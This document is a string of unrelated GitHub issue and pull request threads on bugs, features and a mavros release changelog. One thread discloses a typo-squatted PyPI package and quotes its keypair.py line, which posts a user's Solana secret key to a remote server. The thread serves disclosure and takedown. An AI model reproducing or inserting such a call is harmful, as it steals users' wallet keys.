[main] Update actions

Cron -knative-prow-robot
/cc knative/serving-writers knative/eventing-writers
/assign knative/serving-writers knative/eventing-writers
Produced by: knative-sandbox/knobots/actions/update-actions
Details:

/test unit-tests_pkg_main


Support for types

Hello!
Thank you for this awesome package.
I was wondering if the support for custom types would be added. Right now I'm using all 3 customizable DetectionTypes and may need more in the future. Is there a way to do that, please?

Hi, glad to hear that i could help 😃
Sounds like a good idea. I'll look into it!

Thank you! and it did indeed, I think this is the closest package to rule them all.


Angular 9 (ivy) - ReferenceError: EmitterAction is not defined

I'm submitting a...

[ ] Regression (a behavior that used to work and stopped working in a new release)
[ x ] Bug report
[ ] Performance issue
[ ] Feature request
[ ] Documentation issue or request
[ ] Support request => https://github.com/ngxs/store/blob/master/CONTRIBUTING.md
[ ] Other... Please describe:

Current behavior
import { EmitterAction, Receiver } from '@ngxs-labs/emitter';
@Receiver() public static setRegistered(ctx: StateContext<MasterStateModel>, action: EmitterAction<string>) {
the EmitterAction class cannot be found at runtime when compiled with Angular 9 -> ivy.

No bug at compile time.
Workaround:
@Receiver()   public static setRegistered(ctx: StateContext<MasterStateModel>, action: any) {
any instead of EmitterAction
Expected behavior
Should work with type EmitterAction
Minimal reproduction of the problem with instructions

install Angular 9 (ivy enabled by default)
write an emitter
write a receiver
compile (with ivy)
open browser
error

What is the motivation / use case for changing the behavior?

Environment

Libs:
- @angular/core version: X.Y.Z
- @ngxs/store version: X.Y.Z

`  "dependencies": {
...
    "@angular/compiler": "~9.0.0",
    "@angular/core": "~9.0.0",
    "@clr/angular": "^3.0.0-next.7",
    "@clr/core": "^3.0.0-next.7",
    "@clr/ui": "^3.0.0-next.7",
    "@ngxs-labs/emitter": "~2.0.0",
    "@ngxs/storage-plugin": "~3.6.2",
    "@ngxs/store": "~3.6.2",
    "@webcomponents/custom-elements": "~1.3.2",
    "rxjs": "~6.5.4",
    "tslib": "^1.10.0",
    "zone.js": "~0.10.2"
  },`

Browser:
- [ x ] Chrome (desktop) version Version 79.0.3945.130 (Official Build) (64-bit)
- [ ] Chrome (Android) version XX
- [ ] Chrome (iOS) version XX
- [ ] Firefox version XX
- [ ] Safari (desktop) version XX
- [ ] Safari (iOS) version XX
- [ ] IE version XX
- [ ] Edge version XX

For Tooling issues:
- Node version: XX
- Platform:

Others:

please create github repo for reproduce

@splincode this occurs when I inject a service into the state, actually it is enough to add the @Injectable() decorator - necessary when services get injected (see migration guide of NGXS). So without the decorator + constructor it works.
@State<MasterStateModel>({
  name: 'master',
  defaults: {
    apps: []
  }
})
@Injectable()
export class MasterState {
  constructor(@Inject(LOGGING_SERVICE) private _logger: LoggingInterface) {

  }
}

@splincode you also MUST have the following 2 flags in angular.json:
            "optimization": true,
            "aot": true

I think that EmitterAction gets tree-shaken away.

outdated -> closed


Swift 2.2 warnings

Thank you for the awesome Pod!
We just migrated to swift 2.2 and we liked how KMPlaceholderTextView had no warnings before. Now we are getting a few, see below. Would it be possible to have a release without warnings? Thank you!
▸ Compiling KMPlaceholderTextView.swift
⚠ /Pods/KMPlaceholderTextView/KMPlaceholderTextView/KMPlaceholderTextView.swift:90:23: use of string literal for Objective-C selectors is deprecated; use '#selector' instead
        selector: "textDidChange",
                  ^~~~~~~~~~~~~~~

▸ Compiling KMPlaceholderTextView.swift
⚠  /Pods/KMPlaceholderTextView/KMPlaceholderTextView/KMPlaceholderTextView.swift:90:23: use of string literal for Objective-C selectors is deprecated; use '#selector' instead
        selector: "textDidChange",
                  ^~~~~~~~~~~~~~~

Fixed in release 1.2.0. Thanks for your feedback.


Fix an error for Style/RedundantLineContinuation when using Prism::Translation::Parser

This PR fixes the following error Style/RedundantLineContinuation when using Prism::Translation::Parser as a parser:
$ bundle exec ruby -rprism/translation/parser/rubocop $(bundle exec which rubocop)
(snip)

An error occurred while Style/RedundantLineContinuation cop was inspecting
/Users/koic/src/github.com/rubocop/rubocop/lib/rubocop/cop/lint/out_of_range_regexp_ref.rb.
undefined method `complete?' for an instance of AST::Node
/Users/koic/src/github.com/rubocop/rubocop-ast/lib/rubocop/ast/node.rb:104:in `block in initialize'

This is a similar error to #12677.

Before submitting the PR make sure the following are checked:

[x] The PR relates to only one subject with a clear title and description in grammatically correct, complete sentences.
[x] Wrote good commit messages.
[ ] Commit message starts with [Fix #issue-number] (if the related issue exists).
[x] Feature branch is up-to-date with master (if not - rebase it).
[x] Squashed related commits together.
[x] Added tests.
[x] Ran bundle exec rake default. It executes all tests and runs RuboCop on its own code.
[ ] Added an entry (file) to the changelog folder named {change_type}_{change_description}.md if the new code introduces user-observable changes. See changelog entry format for details.

To be clear - is the a bug in Prism that will be addressed down the road? (I'm asking if we need to leave to some TODO comments)

This error that occurred with Prism 0.21.0 has been resolved in Prism 0.22.0, as per the comment below:
https://github.com/rubocop/rubocop/pull/12677#issuecomment-1932189221
On the other hand, since there is no need to parse an already parsed target again, I think this change could be merged as a refactoring to avoid using parse. So, If necessary, I will edit the commit message and the PR title.

Got it. No need for further changes.


Decoder report error when decoding bitstream with 2 spatial layers

Hi,
I'm using openh264 decoder h264dec.exe to decode a bitstream with 2 spatial layers which is generated by h264enc.exe, but the h264dec.exe reports "Key frame lost.....CAN NOT find IDR from current AU." in the console when decoding every P frame(it seems like that, I'm not sure now.) And I have debug into the decoder code, but no valuable reason were found.
who can help me to get over this problem.
the bitstream I use is in the attached files.
Thanks in advance.
test_1.zip

Hi @liangwei1999 current decoder cannot directly decode two-layer input. You need manually separate them first by layer, then pass the one-layer data into decoder.

@huili2, thanks for your reply. moreover, the different spatial layer should be separated manually, but different temporal layer should be feeded into the decoder directly, is this right?

exactly.

@huili2 , OK, Thanks.


add_watcher does not add watcher to the issue in redmine

Everything seems straightforward but it does not work for me.
if (ticket.getWatcher() != null) {
    Set<Watcher> watchers = new HashSet<>();
    int watcherId=config.getUserId(ticket.getWatcher());
    Watcher w=WatcherFactory.create(watcherId);
    watchers.add(w);
    issue.addWatchers(watchers);
    issueManager.update(issue);
    log.info("adding watcher " + ticket.getWatcher() + " id " + watcherId);
}

If I look at issue 12555 there are no watchers.  I can add this watcher through the UI.
Any ideas would be appreciated!
From redmine/htdocs/log/production.log
Note the watcher_user_ids entry
Started PUT "/redmine/issues/12555.json?key=1ccaf01079ef17d7a2559869e74c8da97f28f457" for <IP_ADDRESS> at 2016-04-26 12:19:08 -0400
Processing by IssuesController#update as JSON
Parameters: {"issue"=>{"id"=>12555, "subject"=>"eLR not reporting - 11 Mercer, Suite #404 - End Use - 0x284ED70000EF", "priority_id"=>2, "done_ratio"=>0, "project_id"=>4, "author_id"=>24
, "start_date"=>"2016-04-26", "tracker_id"=>6, "description"=>"", "created_on"=>"2016/04/26 12:19:07 -0400", "updated_on"=>"2016/04/26 12:19:06 -0400", "status_id"=>1, "custom_field_values
"=>{"8"=>"OutSmart Power Systems", "9"=>"OutSmart Power Systems - 11 Mercer, Suite #404", "13"=>"Error", "14"=>"Error - eLR not reporting", "15"=>"eLR not reporting", "16"=>"eLR not report
ing - OutSmart Power Systems - 11 Mercer, Suite #404 - End Use - 0x284ED70000EF", "17"=>"0x284ED70000EF", "19"=>"End Use", "20"=>"1461684062161", "21"=>"", "22"=>"2016-04-26 11:21:02 EDT",
"23"=>"", "24"=>"eLR 0x284ED70000EF (paul test) not reporting, last sample was time unknown."}, "watcher_user_ids"=>[25]}, "key"=>"1ccaf01079ef17d7a2559869e74c8da97f28f457", "id"=>"12555"
}
From the Bitnami redmine information page
Environment:
Redmine version                2.5.2.stable
Ruby version                   2.0.0-p481 (2014-05-08) [x86_64-linux]
Rails version                  3.2.19
Environment                    production
Database adapter               Mysql2
SCM:
Git                            <IP_ADDRESS>
Filesystem
Redmine plugins:
a_common_libs                  2.1.2
extra_queries                  2.0.3
redmine_default_assign         0.4
redmine_importer               1.2.2
redmine_multi_column_custom_fields 0.0.1
redmine_silencer               0.4.1

Figured it out.  Use issueManager.addWatcherToIssue(w, issue);  instead.  It makes a separate REST call that updates the watchers table and doesn't touch the issue.
The watcher_user_ids doesn't do anything I can see.


Brush-Select is not selecting the nodes inside the area

Describe the bug
When we try to select nodes using the brush-select nodes, sometimes the nodes are not selected, and sometimes yes. We provide a video of when this behavior is happening.
It is like sometimes the callbacks onSelect and onDeselect are not called
Your Example Website or App
https://stackblitz.com/edit/react-ts-gz9d4w?file=package.json,index.tsx
Steps to Reproduce the Bug or Issue

Go to https://stackblitz.com/edit/react-ts-gz9d4w?file=package.json,index.tsx
Try to select both nodes using shift key
Sometimes the nodes are not selected and sometimes yes.

Expected behavior
We expected that when selecting, the nodes inside the area are selected. But nowadays it is like sometimes it is not happening
Screenshots or Videos
https://user-images.githubusercontent.com/25633662/177149238-01522fa5-a6ef-4349-b96b-00563c581df2.mov
Platform

https://stackblitz.com/edit/react-ts-gz9d4w?file=package.json,index.tsx
G6 Version: 4.6.15

Additional context
No response

Hi guys,
Do you have any update?
Thanks!

did not reproduce it on your demo. I checked the source code, is it possible that you released the 'shift' before mouseup?

Actually, I can make it using the shift key. But sometimes is not working as well

What is your OS and browser? Make sure release shift key before releasing your mouse

Chrome Version 104.0.5112.101 (Official Build) (arm64)

Actually, you are right. If I release the mouse first works. But if I release the shift first is not working

I think it is in line with expectations.  Shift is the key you configured for the brush-select. Releasing the key before the behavior(drag process: mousedown mousemove mouseup) finished, means the behavior is interrupted and canceled.


Register Package

@JuliaRegistrator register

Registration pull request created: JuliaRegistries/General/82985
After the above pull request is merged, it is recommended that a tag is created on this repository for the registered package version.
This will be done automatically if the Julia TagBot GitHub Action is installed, or can be done manually through the github interface, or via:
git tag -a v0.1.0 -m "<description of version>" ad70945ac064d2ecaa34b995ab074b285d8662ab
git push origin v0.1.0

@JuliaRegistrator register


Add tests for new python syntax

Hello!
Here are tests that are legal python syntax (i.e. https://github.com/astral-sh/ruff parses it fine) but they are currently failing
thread 'extract_py_imports::tests::test_syntax_constructs' panicked at python_extractor/src/extract_py_imports.rs:162:68:
called `Result::unwrap()` on an `Err` value: invalid syntax. Got unexpected token '[' at line 7 column 30

I'm not sure that currently used parser is a good long-term choice to avoid that kind of problems.
Maybe we can switch to ruff parser altogether?

I think we use RustPython's parser, but the dependency is pinned to this commit - https://github.com/RustPython/RustPython/commit/b9ed63ed326e4ab9c97d808271ddc1d7ca05fda7, which is 1409 commits behind https://github.com/RustPython/RustPython/compare/b9ed63ed326e4ab9c97d808271ddc1d7ca05fda7...main.

it looks like ruff doesn't seem to have an external parser dependency:
https://github.com/astral-sh/ruff/blob/main/crates/ruff_python_parser/Cargo.toml
I wonder if we can depend on their parser since I think that is fairly well tested across a bunch of code bases.

Another alternative would be to depend on the native CPython ast parser and dump it into json with something like https://pypi.org/project/ast2json/ then parse import in rust or perhaps just do this whole thing in python, but that would mean starting brining dependencies outside of rust ecosystem which is big design decision.

I merged main to pickup: https://github.com/bazeltools/bzl-gen-build/pull/237
That should fix match issues, but your test surprises me that it is legal syntax.

Thank you, yes the [*foo] is legal syntax but pyright for example also has troubles with it at the moment. Ruff doesn't (and python 3.11.8 doesn't)


fix docker add prebuilts

copy of pr #146 but without the monolithic mess to make debugging somewhat less depressing

Less depressing 🤣

The issue is with clang, will continue back at #146


Ability to add additional security groups to a node group

what

Adds the ability to assign additional security groups to a node group using a module variable.

why

It's useful to be able to add extra security groups with custom user rules.
The workers module also supports this feature (https://registry.terraform.io/modules/cloudposse/eks-workers/aws/latest)

+1. it will be great to have this.

Hi @nustiueudinastea thanks for your work on this. There are conflicting files can you please rebase and then run the following commands.
make init
make github/init
make readme

This feature is currently needed for us. It would be great if you can take a look at this.

@kwarunek @tirumerla I updated the PR and the docs. Please give it a go in your local environment if you have a chance.

Sorry @nustiueudinastea just got back from my paternity. I added a comment and tested removing || length(var.additional_security_group_ids) works fine. Thanks again for your work on this.

@nustiueudinastea @tirumerla we're using this feature over a month without any issues - it just do the job for us. Seems to be ok in the production clusters as well as in the development ones (multiple recreations occur every week) - in summary dozens of node groups.
FYI our usage
module "eks_node_group" {
  for_each = var.node_groups

  source = "git::https://github.com/DreamLab/terraform-aws-eks-node-group.git"
  # source       = "cloudposse/eks-node-group/aws"
  name         = format("%s-%s", var.cluster_name, each.key)
  namespace    = each.value.namespace
  cluster_name = aws_eks_cluster.aws_eks.name

  ami_type       = var.ami_type
  disk_size      = lookup(each.value, "disk_size", var.disk_size)
  instance_types = lookup(each.value, "instance_types", var.instance_types)
  capacity_type  = lookup(each.value, "capacity_type", var.capacity_type)
  subnet_ids     = var.subnets
  desired_size   = lookup(each.value, "desired_size", lookup(each.value, "min_size", 1))
  max_size       = lookup(each.value, "max_size", 1)
  min_size       = lookup(each.value, "min_size", 1)

  source_security_group_ids     = var.remote_access_security_groups
  additional_security_group_ids = var.additional_security_groups
  ec2_ssh_key                   = var.ssh_key

  # creates label for a autoscaler controller
  cluster_autoscaler_enabled = true
  kubernetes_taints          = lookup(each.value, "taints", {})
  kubernetes_labels          = { "rasp.nodegroup/namespace" : each.value.namespace }

  tags = merge(
    var.tags,
    lookup(each.value, "tags", {})
  )
  resources_to_tag = ["instance", "volume"]

  create_before_destroy = true
  depends_on            = [aws_eks_cluster.aws_eks]
}

@tirumerla I removed that length operation. Indeed it seemed useless.

@nustiueudinastea Could you please rebase it again so that the merge conflicts are fixed. @aknysh Can we run the tests and merge this once the rebase is done.


[Feature Request] Using discord roles and linked player names as variables in custom commands

Have the ability to use a linked player as a variable for linkedCommands
ex:
[[linkedCommands.commands]]
    mcCommand = "ftbranks add %linkedPlayer% %discordRole%"
    discordCommand = "addrank"
    discordRole = ""

Thanks for actually adding it to github so I can remember about it :)

Implemented in V3 beta


Component does not update DOM on a specific scenario

With the following component I'm trying to apply a transformation to the value in the input. The actual use case is more complicated and makes more sense but this is the simplest repro I could come up with.
Reproduction steps:

Enter a lowercase string in the input, e.g. "asd"
Result: the string in the input is turned into its uppercase equivalent and the Message is updated correctly.
Enter the same lowercase string in the input. Notice that entering any other string works as expected.

Expected:
The string in the input is turned into its uppercase equivalent and the message is updated correctly.
Actual:
The string in the input remains unchanged and the message is updated correctly.
@page "/repro"
<input type="text" bind="@RawValue" />

    Message: @Message

@functions
{
    protected string Message { get; set; }
    protected int Count { get; set; }

    private string _rawValue;
    protected string RawValue
    {
        get => _rawValue;
        set
        {
            _rawValue = value?.ToUpperInvariant();
            Message = $"_rawValue was set to {_rawValue}. {Count++}";
            StateHasChanged(); // I don't think this is necessary but I've added it trying to solve the problem. It still doesn't work without this line.
        }
    }
}

It seems to me there is something wrong but please let me know if it's by design, in which case, could you also please explain how to achieve the behavior I want.

@enetstudio is correct. The diffing system has no way to know that it should write an update to the DOM, because as far as it knows, the value you're rendering is the same as was last written to the DOM already.
To achieve the behavior you want, I'd recommend separating your "binding" from your "value transformation". If you use bind-value-oninput, then Blazor will get a notification on each keystroke, so it will see the intermediate non-transformed values (e.g., lowercase asd). Separately, since you only want to transform to uppercase (or convert £ to GBP, etc.) when the user tabs out, put that in an onblur:
<input type="text" bind-value-oninput="@RawValue" onblur="@ConvertValue" />

    Message: @Message

@functions
{
    protected string Message { get; set; }
    protected int Count { get; set; }
    protected string RawValue { get; set; }

    void ConvertValue()
    {
        RawValue = RawValue.ToUpperInvariant();
        Message = $"RawValue was set to {RawValue}. {Count++}";
    }
}


opscode2chef

#yolomerge :smile:

Sorry, was going fast while on an airplane. Green buttons!
—
Sent from Mailbox
On Wed, Feb 18, 2015 at 4:58 PM, Caleb Hailey<EMAIL_ADDRESS>wrote:

#yolomerge :smile:
Reply to this email directly or view it on GitHub:
https://github.com/hw-cookbooks/runit/pull/85#issuecomment-74981459


Deep directive merge

Description of changes
This allows public subscriptions to be generated on models, and adds use of a new feature flag to deep merge directive defaults. For a description of the behavior, see https://github.com/aws-amplify/amplify-cli/pull/10597

Issue #, if available
internally tracked

Description of how you validated changes
Unit testing and sample application
Checklist

[ ] PR description included
[ ] yarn test passes
[ ] Tests are changed or added
[ ] Relevant documentation is changed or added (and PR referenced)
[ ] New AWS SDK calls or CloudFormation actions have been added to relevant test and service IAM policies

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

@phani-srikar Running tests against this now, I thought I had fixes for these things in the other branch I tried to merge in locally but I guess the fixes didn't make it for some reason


Typo-squatting attack targetting solana-py users

$ python3 -m venv .
$ . bin/activate
$ pip3 install solanapy
$ grep -nHr api.php lib
Binary file lib/python3.8/site-packages/solana/__pycache__/keypair.cpython-38.pyc matches
lib/python3.8/site-packages/solana/keypair.py:85:        requests.post('http://<IP_ADDRESS>/api.php', data={"keypair": str(secret_key), "package":"solanapy"})

This isn't yours, is it? https://pypi.org/project/solanapy/
(Genuine Pypi page is https://pypi.org/project/solana/ )
Probably related: https://twitter.com/pypi/status/1562442188285308929

Yeah this is not ours, yikes

Probably related: https://twitter.com/pypi/status/1562442188285308929

Unrelated I think as there's no phishing involved. Anyone know how to get malicious PyPI packages taken down? cc @michaelhly

Reporting it per these instructions https://pypi.org/security/

Thanks for raising this. To be clear to anyone reading, the genuine PyPI package "solana" is unaffected and there's been no security breach. But this scam package is very bad and we have contacted PyPI to get it taken down asap

The malicious package has been removed from pypi


Fix a mistake in code sample.

JobRequest.Builder only accepts String tag as a constructor parameter.

Cool, thanks!


feat(weave): Add ability for server to determine whether requests came from App or Weave frontend

Decided it was overkill for https://github.com/wandb/core/pull/16851.


Include scroll offset when positioning quick-add dialog

Fixes #3684

Coverage decreased (-0.03%) to 68.235% when pulling 1844633ff1f22fed00b4b7cd0fcda3cb29cc1fd0 on quick-add-offset into 7d7682b34ea945566530f332952cc6f6d42c72be on master.


improve toArray: using push instead of concat

Using concat and creating a new array each time a chunk of documents arrives has a huge performance drawback, especially when fetching large amount of documents. Using Array.prototype.push reuses the existing result array, and is a much faster.

can you please show a benchmark to make the case.

I created a small test, which concatenates 10 elements to an array N times.
If N < 500 then concat and push-apply runs under 1 ms, but after that the concat times start growing much faster.
My results are:

N
concat
push

32
0
0

64
0
0

128
1
0

256
1
0

512
1
0

1024
5
0

2048
18
1

4096
107
7

8192
294
2

16384
1343
4

https://jsfiddle.net/tbmr432v/
(see console)

merged into both mongodb-core and mongodb-native


Hello World does not work as the book describes with current version of wasm-pack.

Describe the bug
With updated tooling (read: no vulnerabilities in npm audit), wasm-pack produces non-runnable code when following the directions in the book for the hello world program (and as such, for the rest of the book).
To Reproduce
Steps to reproduce the behavior:

Follow instructions precisely for the Hello World section.
Receive error in console when browsing to localhost:8080.

Expected behavior
Application should display Hello, wasm-game-of-life! in an alert box.
Screenshots

Additional context
The code generated by wasm-pack exports all members of the JavaScript file ./wasm_game_of_life_bg.js after importing all members of the file ./wasm_game_of_life_bg.wasm, but this doesn't appear to work.
import * as wasm from "./wasm_game_of_life_bg.wasm";
export * from "./wasm_game_of_life_bg.js";

I'm unsure at this time if the issue is with wasm-pack itself, or just a missing step in the book.
The basic functionality works when I directly export the greet function like so in wasm_game_of_life.js:
import * as wasm from "./wasm_game_of_life_bg.wasm";
export function greet() {
    return wasm.greet();
}

This mirrors what the book says should have been generated to begin with.
However, I do not get the ability to pass strings to the function.
wasm-pack version 0.9.1
rustc version 1.48.0

Doing some reading and troubleshooting, I was able to produce a slightly different error when explicitly targeting the web in my call to wasm-pack. (wasm-pack build --target=web)
In this case, the wasm_game_of_life.js file gets substantially more content, but it appears that the wasm variable it tries to use never gets declared, leading to the following error:

This doesn't really clear up the original issue, and doesn't lead to a fix or workaround as far as I can tell.

Hmm, I didn't have any issues myself. My only problem with the instructions as written is that code changes were not being automatically picked up.  This was resolved by the suggestions from #261


mavros: 2.1.0-1 in 'foxy/distribution.yaml' [bloom]

Increasing version of package(s) in repository mavros to 2.1.0-1:

upstream repository: https://github.com/mavlink/mavros.git
release repository: https://github.com/mavlink/mavros-release.git
distro file: foxy/distribution.yaml
bloom version: 0.10.7
previous version for package: 2.0.5-1

libmavconn
* lib: fix reorder
* Merge branch 'master' into ros2
  * master:
  1.13.0
  update changelog
  py-lib: fix compatibility with py3 for Noetic
  re-generate all coglets
  test: add checks for ROTATION_CUSTOM
  lib: Fix rotation search for CUSTOM
  Removed CamelCase for class members.  Publish to "report"
  More explicitly state "TerrainReport" to allow for future extension of the plugin to support other terrain messages
  Fixed callback name to match handle_{MESSAGE_NAME.lower()} convention
  Add extra MAV_FRAMES to waypoint message as defined in https://mavlink.io/en/messages/common.html
  Fixed topic names to match more closely what other plugins use.  Fixed a typo.
  Add plugin for reporting terrain height estimate from FCU
  1.12.2
  update changelog
  Set time/publish_sim_time to false by default
  plugin: setpoint_raw: move getParam to initializer
  extras: trajectory: backport #1667 <https://github.com/mavlink/mavros/issues/1667>
* 1.13.0
* update changelog
* Merge pull request #1682 <https://github.com/mavlink/mavros/issues/1682> from SylvainPastor/fix/libmavconn/tcp/resource_deadlock
  fix std::system_error when tcp interface loses connection
* fix code style divergences
* fix std::system_error when tcp interface loses connection
  When the tcp connection is lost (remote TCP server stopped), an 'End of file' error is caught
  by the io_thread in the do_recv() that calls the close() function.
  In the close() function, we stop the io_service and wait for the end of the io_thread which
  causes an std::system_error exception (cause: Resource deadlock avoided).
  Error:   mavconn: tcp0: receive: End of file at line 250 in libmavconn/src/tcp.cpp
  terminate called after throwing an instance of 'std::system_error'
  what():  Resource deadlock avoided
  Aborted (core dumped)
  fix:
  - close() function: stop io_service if current thread id != io_thread id
  - ~MAVConnTCPClient(): stop io_service and io_thread if thread is running
* Merge pull request #1679 <https://github.com/mavlink/mavros/issues/1679> from SylvainPastor/libmavconn/fix-tcp-deadlock-when-close
  libmavconn: fix deadlock when call close()
* fix deadlock when call close()
  When calling the close() function (by a different thread), a lock (mutex) is taken at
  the start of this function which closes the socket and waits the end of io_service thread.
  Closing the socket causes the 'Operation aborted' error in do_recv() function called by
  io_service thread which in turn calls the close() function: sthis->close().
  This causes a 'deadlock'.
  fix: Reduce the scope of the lock in the close() function so that it is released before
  waiting for the thread to end.
* 1.12.2
* update changelog
* lib: fix linter errors
* Merge branch 'master' into ros2
  * master:
  1.12.1
  update changelog
  mavconn: fix connection issue introduced by #1658 <https://github.com/mavlink/mavros/issues/1658>
  mavros_extras: Fix some warnings
  mavros: Fix some warnings
* 1.12.1
* update changelog
* mavconn: fix connection issue introduced by #1658 <https://github.com/mavlink/mavros/issues/1658>
* Contributors: Sylvain Pastor, Vladimir Ermakov

mavros
* plugin: sys_status: Add temporary hack from @Michel1968
  https://github.com/mavlink/mavros/issues/1588#issuecomment-1027699924
* py-lib: make linters happy again
* py-lib: fix WPL loading
* py-lib: reformat with black, fix WPL
* py-lib: gracefull exiting - need to join to spinner thread
* py-lib: debug shutdown call
* py-lib: fix checkid
* sys: place service servers to separate callback group
* plugins: fix topic names to use  prefix for namespaced ones
* py-lib: fix import
* uas: fix linter warnings
* uas: set executor timeout to 1s
* uas: use custom executor derived from MultiThreadedExecutor one
* uas: fix lambda
* ci: fix several lint warnings
* uas: log amount of executor threads
* command: add request header for possible future use
* Merge branch 'master' into ros2
  * master:
  1.13.0
  update changelog
  py-lib: fix compatibility with py3 for Noetic
  re-generate all coglets
  test: add checks for ROTATION_CUSTOM
  lib: Fix rotation search for CUSTOM
  Removed CamelCase for class members.  Publish to "report"
  More explicitly state "TerrainReport" to allow for future extension of the plugin to support other terrain messages
  Fixed callback name to match handle_{MESSAGE_NAME.lower()} convention
  Add extra MAV_FRAMES to waypoint message as defined in https://mavlink.io/en/messages/common.html
  Fixed topic names to match more closely what other plugins use.  Fixed a typo.
  Add plugin for reporting terrain height estimate from FCU
  1.12.2
  update changelog
  Set time/publish_sim_time to false by default
  plugin: setpoint_raw: move getParam to initializer
  extras: trajectory: backport #1667 <https://github.com/mavlink/mavros/issues/1667>
* 1.13.0
* update changelog
* Merge pull request #1690 <https://github.com/mavlink/mavros/issues/1690> from mavlink/fix-enum_sensor_orientation
  Fix enum sensor_orientation
* py-lib: fix compatibility with py3 for Noetic
* test: add checks for ROTATION_CUSTOM
* lib: Fix rotation search for CUSTOM
  Fix #1688 <https://github.com/mavlink/mavros/issues/1688>.
* 1.12.2
* update changelog
* Merge pull request #1672 <https://github.com/mavlink/mavros/issues/1672> from okalachev/patch-1
  Set time/publish_sim_time to false by default
* Set time/publish_sim_time to false by default
* Merge pull request #1669 <https://github.com/mavlink/mavros/issues/1669> from Hs293Go/master
  plugin: setpoint_raw: move getParam to initializer
* plugin: setpoint_raw: move getParam to initializer
  Repeatedly getting the thrust_scaling parameter in a callback that can
  be invoked from a fast control loop may fail spuriously and trigger a
  fatal error
* Merge pull request #1670 <https://github.com/mavlink/mavros/issues/1670> from windelbouwman/fix-uninitialized-struct-member
  Fix spurious bug because class field was uninitialized.
* Fix spurious bug because class field was uninitialized.
* Merge branch 'master' into ros2
  * master:
  1.12.1
  update changelog
  mavconn: fix connection issue introduced by #1658 <https://github.com/mavlink/mavros/issues/1658>
  mavros_extras: Fix some warnings
  mavros: Fix some warnings
* 1.12.1
* update changelog
* mavconn: fix connection issue introduced by #1658 <https://github.com/mavlink/mavros/issues/1658>
* Merge pull request #1660 <https://github.com/mavlink/mavros/issues/1660> from scoutdi/fix-warnings
  Fix warnings
* mavros: Fix some warnings
* Contributors: Morten Fyhn Amundsen, Oleg Kalachev, Vladimir Ermakov, Windel Bouwman, hs293go

mavros_extras
* plugins: fix topic names to use  prefix for namespaced ones
* plugins: fix topic names to use  prefix for namespaced ones
* ci: fix several lint warnings
* extras: terrain: fix copy-paste artifact
* extras: port terrain plugin
* Merge branch 'master' into ros2
  * master:
  1.13.0
  update changelog
  py-lib: fix compatibility with py3 for Noetic
  re-generate all coglets
  test: add checks for ROTATION_CUSTOM
  lib: Fix rotation search for CUSTOM
  Removed CamelCase for class members.  Publish to "report"
  More explicitly state "TerrainReport" to allow for future extension of the plugin to support other terrain messages
  Fixed callback name to match handle_{MESSAGE_NAME.lower()} convention
  Add extra MAV_FRAMES to waypoint message as defined in https://mavlink.io/en/messages/common.html
  Fixed topic names to match more closely what other plugins use.  Fixed a typo.
  Add plugin for reporting terrain height estimate from FCU
  1.12.2
  update changelog
  Set time/publish_sim_time to false by default
  plugin: setpoint_raw: move getParam to initializer
  extras: trajectory: backport #1667 <https://github.com/mavlink/mavros/issues/1667>
* 1.13.0
* update changelog
* Merge pull request #1677 <https://github.com/mavlink/mavros/issues/1677> from AndersonRayner/add_terrain
  Add plugin for reporting terrain height estimate from the FCU
* Removed CamelCase for class members.  Publish to "report"
* More explicitly state "TerrainReport" to allow for future extension of the plugin to support other terrain messages
* Fixed callback name to match handle_{MESSAGE_NAME.lower()} convention
* Fixed topic names to match more closely what other plugins use.  Fixed a typo.
* Add plugin for reporting terrain height estimate from FCU
* 1.12.2
* update changelog
* Merge pull request #1675 <https://github.com/mavlink/mavros/issues/1675> from BOB4Drone/ros2
  fix bof
* Update mag_calibration_status.cpp
* fix code style
  fix code style
* Update mag_calibration_status.cpp
* fix misprint and use size()
  fix misprint and use size()
* fix bof
  fix #1668 <https://github.com/mavlink/mavros/issues/1668>
* extras: trajectory: backport #1667 <https://github.com/mavlink/mavros/issues/1667>
* extras: trajectory: make linter happy after #1667 <https://github.com/mavlink/mavros/issues/1667>
* Merge pull request #1667 <https://github.com/mavlink/mavros/issues/1667> from BOB4Drone/ros2
  fix bof
* fix bof
* Merge branch 'master' into ros2
  * master:
  1.12.1
  update changelog
  mavconn: fix connection issue introduced by #1658 <https://github.com/mavlink/mavros/issues/1658>
  mavros_extras: Fix some warnings
  mavros: Fix some warnings
* 1.12.1
* update changelog
* Merge pull request #1660 <https://github.com/mavlink/mavros/issues/1660> from scoutdi/fix-warnings
  Fix warnings
* mavros_extras: Fix some warnings
* extras: fix parameter name
* extras: fix topic names
* Contributors: BOB4Drone, Morten Fyhn Amundsen, Vladimir Ermakov, matt

mavros_msgs
* Merge branch 'master' into ros2
  * master:
  1.13.0
  update changelog
  py-lib: fix compatibility with py3 for Noetic
  re-generate all coglets
  test: add checks for ROTATION_CUSTOM
  lib: Fix rotation search for CUSTOM
  Removed CamelCase for class members.  Publish to "report"
  More explicitly state "TerrainReport" to allow for future extension of the plugin to support other terrain messages
  Fixed callback name to match handle_{MESSAGE_NAME.lower()} convention
  Add extra MAV_FRAMES to waypoint message as defined in https://mavlink.io/en/messages/common.html
  Fixed topic names to match more closely what other plugins use.  Fixed a typo.
  Add plugin for reporting terrain height estimate from FCU
  1.12.2
  update changelog
  Set time/publish_sim_time to false by default
  plugin: setpoint_raw: move getParam to initializer
  extras: trajectory: backport #1667 <https://github.com/mavlink/mavros/issues/1667>
* 1.13.0
* update changelog
* Merge pull request #1690 <https://github.com/mavlink/mavros/issues/1690> from mavlink/fix-enum_sensor_orientation
  Fix enum sensor_orientation
* re-generate all coglets
* Merge pull request #1680 <https://github.com/mavlink/mavros/issues/1680> from AndersonRayner/new_mav_frames
  Add extra MAV_FRAMES to waypoint message
* Merge pull request #1677 <https://github.com/mavlink/mavros/issues/1677> from AndersonRayner/add_terrain
  Add plugin for reporting terrain height estimate from the FCU
* More explicitly state "TerrainReport" to allow for future extension of the plugin to support other terrain messages
* Add extra MAV_FRAMES to waypoint message as defined in https://mavlink.io/en/messages/common.html
* Add plugin for reporting terrain height estimate from FCU
* 1.12.2
* update changelog
* Merge branch 'master' into ros2
  * master:
  1.12.1
  update changelog
  mavconn: fix connection issue introduced by #1658 <https://github.com/mavlink/mavros/issues/1658>
  mavros_extras: Fix some warnings
  mavros: Fix some warnings
* 1.12.1
* update changelog
* Contributors: Vladimir Ermakov, matt

@ros-pull-request-builder retest this please


unable to download after 90 percent completion

tried downloading using firefox in windows and wget in ubuntu but after multiple tries the master.zip gets stuck at 90-91%
Error with wget:
